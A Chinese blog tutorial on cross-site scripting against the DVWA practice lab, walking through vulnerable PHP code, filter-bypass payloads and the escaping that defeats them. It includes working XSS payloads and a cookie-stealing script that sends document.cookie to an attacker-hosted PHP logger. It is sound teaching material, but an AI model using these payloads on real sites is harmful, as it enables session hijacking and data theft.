DVWA-XSS 学习笔记

一、DVWA-XSS

XSS 简单介绍

XSS攻击也叫跨站脚本攻击(Cross Site Scripting)原本应当是CSS,但为了和层叠样式表(Cascading Style Sheet,CSS )有所区分,通常将其缩写成XSS,它是一种经常出现在Web应用中的网络安全漏洞。

XSS某种意义上也是一种注入攻击,黑客通过前端网页向受害者浏览的网页中注入 js 脚本,从而实现攻击目的。
与其它Web漏洞不同,XSS并非直接攻击服务器,而是攻击的受害者的浏览器。
需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。
其在网络中存在的数量,远远大于SQL注入等传统高危漏洞。

首先我们现在本地搭建个PHP环境(可以使用phpstudy或WAMP等),然后在index.php文件里写入如下代码:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>XSS攻击原理</title>
</head>
<body>
<form action="" method="get">
<input type="text" name="XSS_input">
<input type="submit">
</form>
<hr>
<?php
$XSS = $_GET['XSS_input'];
echo '你输入的字符为<br>'.$XSS;
?>
</body>
</html>

我们试着输入abcd123,得到的结果为
在这里插入图片描述
我们输入的字符串被原封不动的输出来了,假设我们在搜索框输入<script>alert('XSS')</script>会出现什么呢?如果按照上面的例子来说,它应该存在第12行的<br></boby>之间,变成<br><script>alert('XSS')</script></boby>,那应该会弹出对话框。
既然假设提出来,那我们来实现下这个假设成不成立吧。
此时的源码展示
在这里插入图片描述
xss攻击示例
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

XSS攻击危害

  1. 盗取用户Cookie而得到用户在该站点的身份权限
  2. 伪造欺诈页面实现钓鱼攻击
  3. 浏览器挂马,网页蠕虫
  4. 键盘记录,局域网端口扫描,DDoS, 用户隐私收集

XSS 的构造和利用输出的环境来构造代码

上节说了XSS的原理,但是我们的输出点不一在<br></boby>里,可以出现在html标签的属性里,或者其他标签里面。所以这节很重要,因为不一定当你输入<script>alert('XSS')</script>就会弹窗。

先贴出代码:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>XSS利用输出的环境来构造代码</title>
</head>
<body>
<center>
<h6>把我们输入的字符串 输出到input里的value属性里</h6>
<form action="" method="get">
<h6>请输入你想显现的字符串</h6>
<input type="text" name="XSS_input_value" value="输入"><br>
<input type="submit">
</form>
<hr>
<?php
$XSS = $_GET['XSS_input_value'];
if(isset($XSS)){
echo '<input type="text" value="'.$XSS.'">';
}else{
echo '<input type="type" value="输出">';
}
?>
</center>
</body>
</html>

下面是代码的页面
在这里插入图片描述
这段代码的作用是把第一个输入框的字符串,输出到第二个输入框,我们输入1,那么第二个input里的value值就是1,下面是页面的截图和源代码的截图(这里我输入<script>alert('XSS')</script>来测试),点击提交按钮。

在这里插入图片描述
在这里插入图片描述

明显的可以看到,并没有弹出对话框,大家可能会疑惑为什么没有弹窗呢,我们来看看源代码:
在这里插入图片描述
我们看到我们输入的字符串被输出到第15行input标签里的value属性里面,被当成value里的值来显现出来,所以并没有弹窗,这时候我们该怎么办呢?聪明的人已经发现了可以在<script>alert(&#039;XSS&#039;)</script>前面加个">来闭合input标签。所以应该得到的结果为:
在这里插入图片描述
成功弹窗了,我们在看看这时的页面
在这里插入图片描述
看到后面有第二个input输入框后面跟有">字符串,为什么会这样呢,我们来看看源代码
在这里插入图片描述
这时可以看到我们构造的代码里面有两个">,第一个">是为了闭合input标签,所以第二个">就被抛弃了,因为html的容错性高,所以并没有像php那样出现错误,而是直接把多余的字符串来输出了,有的人是个完美主义者,不喜欢有多余的字符串被输出,这时该怎么办呢?

这里我问大家一个问题,我之前说的XSS代码里,为什么全是带有标签的。难道就不能不带标签么?答:当然可以。既然可以不用标签,那我们就用标签里的属性来构造XSS,这样的话,XSS代码又少,又不会有多余的字符串被输出来。

还是这个环境,但是不能使用标签,你应该怎么做。想想input里有什么属性可以调用js,html学的好的人,应该知道了,on事件,对的。我们可以用on事件来进行弹窗,比如这个XSS代码 我们可以写成" onclick="alert(&#039;XSS&#039;)

没有看到弹窗啊,失败了么?答案当然是错误的,因为onclick是鼠标点击事件,也就是说当你的鼠标点击第二个input输入框的时候,就会触发onclick事件,然后执行alert(&#039;XSS&#039;)代码。我们来试试看

在这里插入图片描述
第15行,value值为空,当鼠标点击时,就会弹出对话框。这里可能就会有人问了,如果要点击才会触发,那不是很麻烦么,成功率不就又下降了么。我来帮你解答这个问题,on事件不止onclick这一个,还有很多,如果你想不需要用户完成什么动作就可以触发的话,可以把onclick改成

Onmousemove 当鼠标移动就触发

Onload 当页面加载完成后触发

过滤的解决办法

假如说网站禁止过滤了script 这时该怎么办呢,记住一句话,“XSS就是在页面执行你想要的js”不用管那么多,只要能运行我们的js就OK,比如用img标签或者a标签。我们可以这样写

<img scr=1 onerror=alert('XSS')>当找不到图片名为1的文件时,执行alert('XSS')
<a href=javascrip:alert('XSS')>s</a> 点击s时运行alert('XSS')
<iframe src=javascript:alert('XSS');height=0 width=0 /><iframe>利用iframe的scr来弹窗
<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>过滤了alert来执行弹窗

XSS的分类

XSS漏洞按照攻击利用手法的不同,有以下三种类型:

类型A DOM型漏洞
直接威胁用户个体,而类型B和类型C所威胁的对象都是企业级Web应用。
类型A,本地利用漏洞,这种漏洞存在于页面中客户端脚本自身。
原理图如下:
在这里插入图片描述
A给B发了一个恶意的web的URL,B点击并查看该URL,恶意页面中的JavaScript打开一个具有漏洞的HTML页面并安装在B的设备上。A的恶意脚本可以执行B所有操作权限的命令。

类型B,反射式漏洞
攻击流程:
Alice 经常浏览 B 的网站, B 站点存有 Alice 使用用户名/密码进行登录,并存储敏感信息(比如银行帐户信息等)。 C 发现 B 站点包含反射性的 XSS 漏洞。于是利用漏洞的 URL,并将其冒充为 B 发送邮件给 A。
A 登录到 B 站点后,浏览提供的 URL。URL 中的恶意脚本在 A 的浏览器中执行,盗窃敏感信息(授权、信用卡、帐号信息等),A 的信息就会发送到 C 的 Web 网站中。

类型C,存储式漏洞
该漏洞是最为广泛而且有可能影响到Web服务器自身安全的漏洞。

黑客将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄漏的可能,其中也包括了Web服务器的管理员。

攻击流程:

B有一个Web站点,该站点允许用户发布信息/浏览已发布的信息
C注意到B站点具有类型C的XSS漏洞。
C发布一个热点信息,吸引其它用户纷纷阅读。
B或者是任何的其他人浏览该信息,其会话cookies或者其它信息将被C盗走。

XSS的利用

说了那么多,大家可能都以为XSS就是弹窗?

其实错了,弹窗只是测试XSS的存在性和使用性。

我们知道了XSS的存在,这时我们要插入js代码了,怎么插呢?
你可以这样

<script scr="js_url"></script>

也可以这样

<img src=x onerror=appendChild(createElement('script')).src='js_url' />

只要能运行我们的js就OK。那运行我们的js有什么用呢?

Js可以干很多的事,可以获取cookies(对http-only没用)、控制用户的动作(发帖、私信什么的)等等。

比如我们在网站的留言区输入<script scr="js_url"></script>当管理员进后台浏览留言的时候,就会触发

然后管理员的cookies和后台地址还有管理员浏览器版本等等你都可以获取到了,再用一些cookie欺骗工具,如“桂林老兵cookie欺骗工具”来更改你的cookies

就可以不用输入账号、密码、验证码,就可以以管理员的方式来进行登录了。

以上就是XSS入门,后面“XSS盲打”、“XSS编码绕过”、“fuzzing XSS”等等还需要自己摸索。

二、DVWA-XSS实战

反射型XSS:
只是简单地把用户输入的数据反射给浏览器,简单来说,黑客往往需要去诱使用户点击一个恶意链接,才能攻击成功。

存储型XSS:
将用户输入的数据存储在服务器端,每次用户访问都会被执行js脚本。

DOM型XSS:
文本对象模式xss,通过修改页面的DOM节点形成的XSS,可存储型,可反射型,只取决于输出地点。

反射型XSS

在这里插入图片描述

low


<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

查看源代码,可以看到没有对参数做任何防御处理措施,直接输出

尝试一般的XSS攻击

<script>alert(‘xss’)</script> # 直接弹出窗口

<body onload=alert('xss2')>  # 插入html代码,加载完成时执行

<a href='' onclick=alert('xss3')>click1</a>    # 点击click1时弹出xss3

<img src=http://192.168.10.128/a.jpg onerror=alert('xss4')>  #src地址错误,然后执行onerror的内容
尝试重定向攻击
<script>window.location='http://www.163.com'</script>  # 自动重定向到目标网址 

<iframe src='http://192.168.10.141/a.jpg' height='0' width='0'><iframe>
获取cookie
<script>alert(document.cookie)</script>
加载远段服务器的js脚本

攻击者在自己的服务器中构建脚本,搭建站点,把js脚本放入到站点中,开启web服务
hacker.js

var img = new Image();
img.src="http://localhost/xss/hacker.php?x=" + document.cookie;
document.body.append(img);

hacker.php

<?php
$cookie = $_GET['x'];
file_put_contents('cookie.txt', $cookie);
?>

于是插入dvwa的xss payload为:

<script src="http://localhost/xss/hacker.js" /></script>

medium


<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

分析源码,可以看到使用str_replace函数只对参数进行了简单的替换,过滤<script>
别的没有过滤,此时可以用大小写或者别的标签来绕过

大小写绕过
<Script>alert('xxx')</script>
组合过滤条件绕过
<scr<script>ipt>alert('sss')</script>
尝试使用别的标签来绕过
<body onload=alert('s')>

<a href='' onclick=alert('ss')>click</a>

<a href='' onclick=alert(/ss/)>click</a>

#<script>alert('xx')</script>

high


<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

分析源码,可以看到,使用了preg_replace正则表达式函数,对参数进行过滤,查看源码可以看到对<script>标签进行了严格的过滤

但没有过滤别的标签,此时可以通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码

尝试使用别的标签来绕过
<body onload=alert('s')>

<img src="" onerror=alert('xss')>

<a href='' onclick=alert('ss')>click</a>

<a href='' onclick=alert(/ss/)>click</a>

Impossible


<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

分析源码,可以看到使用 htmlspecialchars 函数对参数进行html实体转义

PHP htmlspecialchars()函数

把预定义的字符转换为HTML实体:

  • & (和号)成为 &amp;
  • " (双引号)成为 &quot;
  • ’ (单引号)成为 &apos; // 生效需要加 ENT_QUOTES 参数
  • < (小于)成为 &lt;
  • (大于)成为 &gt;

Impossible Security Level的代码使用htmlspecialchars函数把预定义的字符:

& " ’ < >

转换为HTML实体,防止浏览器将其作为HTML元素。从而防治了反射型XSS利用和危害。

存储型XSS

Stored Cross Site Scripting

存储型XSS,持久化XSS,代码是存储在服务器中的

如在个人信息或发表文章等地方,加入XSS代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。

这种XSS比较危险,容易造成蠕虫,盗窃cookie等。

存储型XSS攻击原理图:

在这里插入图片描述

low


<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

分析源码,可以看到首先对两个参数使用 trim 函数移除字符串两侧的空白字符或其他预定义字符

$message 使用 mysql_real_escape_string 函数转义SQL语句中的特殊字符

使用 stripslashes 函数过滤掉 ”\”,对 $name 参数中使用 mysql_real_escape_string 函数转义SQL语句中的特殊字符

从上面的代码可以看到,没有防御XSS漏洞,只防御了SQL注入漏洞

medium

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

strip_tags()函数剥去字符串中的HTML、XML以及PHP的标签,但允许使用<b>标签。
addslashes()函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。
可以看到,由于对message参数使用了htmlspecialchars函数进行编码,因此无法再通过message参数注入XSS代码
但是对于name参数,只是简单过滤了<script>字符串,仍然存在存储型的XSS。

1.双写绕过

Burpsuite抓包改name参数为:

<sc<script>ript>alert(/xss/)</script>
2.大小写混淆绕过

Burpsuite抓包改name参数为

<ScRipt>alert(/xss/);</ScRipt>:
3.使用非 script 标签的 xss payload:

例如:img标签:
Burpsuite抓包改name参数为

<img src=1 onerror=alert(/xss/)>

high

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

这里使用正则表达式过滤了

impossible

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = stripslashes( $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $name = htmlspecialchars( $name );

    // Update database
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以看到,通过使用 htmlspecialchars 函数将几种特殊字符转义为HTML实体mysqli_real_escape_string 函数对单引号’转义,防止进行SQL注入,彻底防治了存储型 XSS 的利用和危害。

DOM 型 XSS

DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。

DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。

在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。

可能触发DOM型XSS的属性:

document.referer 属性
window.name 属性
location 属性
innerHTML 属性
documen.write 属性

low

http://www.dvwa.com/vulnerabilities/xss_d/?default=English<script>alert(/xss/);</script>

medium

http://www.dvwa.com/vulnerabilities/xss_d/?default=English>/option></select><img src=1 onerror=alert(/xss/)>

high

http://www.dvwa.com/vulnerabilities/xss_d/?default=English #<script>alert(/xss/)</script>
  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值